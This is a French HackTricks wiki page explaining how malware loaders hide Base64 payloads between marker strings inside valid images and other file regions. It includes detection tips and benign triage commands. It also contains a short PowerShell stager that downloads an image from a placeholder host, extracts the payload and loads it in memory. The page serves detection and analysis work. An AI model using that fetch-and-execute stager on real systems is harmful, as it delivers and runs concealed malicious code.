Malware & Network Stego

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

La steganography ne se limite pas au pixel LSB ; le commodity malware cache souvent des payloads dans des fichiers par ailleurs valides.

Schémas pratiques

Payloads délimités par marqueurs dans des images valides

Si une image est téléchargée et immédiatement analysée comme texte/Base64 par un script, le payload est souvent délimité par des marqueurs plutôt que pixel-hidden.

Les commodity loaders cachent de plus en plus des Base64 payloads en clair à l’intérieur d’images par ailleurs valides (souvent GIF/PNG). Au lieu du pixel-level LSB, le payload est délimité par des marker strings uniques intégrées dans le file text/metadata. Un stager va alors :

  • Télécharge l’image via HTTP(S)
  • Localise les marqueurs de début/fin
  • Extrait le texte entre les marqueurs et le décode en Base64
  • Charge/exécute en mémoire

Extrait PowerShell minimal de carving:

$img = (New-Object Net.WebClient).DownloadString('https://example.com/p.gif')
$start = '<<sudo_png>>'; $end = '<<sudo_odt>>'
$s = $img.IndexOf($start); $e = $img.IndexOf($end)
if($s -ge 0 -and $e -gt $s){
$b64 = $img.Substring($s + $start.Length, $e - ($s + $start.Length))
$bytes = [Convert]::FromBase64String($b64)
[Reflection.Assembly]::Load($bytes) | Out-Null
}

Remarques :

  • ATT&CK: T1027.003 (steganography)
  • Détection/hunting :
  • Scannez les images téléchargées à la recherche de séquences délimiteurs.
  • Signalez les scripts qui récupèrent des images et appellent immédiatement des routines de décodage Base64 (PowerShell FromBase64String, JS atob, etc).
  • Cherchez des incohérences de content-type HTTP (image/* response mais le body contient de longues chaînes ASCII/Base64).

Autres emplacements à fort signal pour masquer des payloads

Ceux-ci sont généralement plus rapides à vérifier que le stego au niveau du contenu/pixels :

  • Métadonnées : EXIF/XMP/IPTC, PNG tEXt/iTXt/zTXt, JPEG COM/APPn segments.
  • Octets traînants : données ajoutées après le marqueur de fin formel (p.ex., après PNG IEND).
  • Archives embarquées : un ZIP/7z intégré ou ajouté et extrait par le loader.
  • Polyglots : fichiers conçus pour être valides par plusieurs parseurs (p.ex., image + script + archive).

Commandes de triage

file sample
exiftool -a -u -g1 sample
strings -n 8 sample | head
binwalk sample
binwalk -e sample

Références:

  • Unit 42 example: https://unit42.paloaltonetworks.com/phantomvai-loader-delivers-infostealers/
  • MITRE ATT&CK: https://attack.mitre.org/techniques/T1027/003/
  • File format polyglots and container tricks: https://github.com/corkami/docs
  • Aperi’Solve (web-based stego triage): https://aperisolve.com/

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks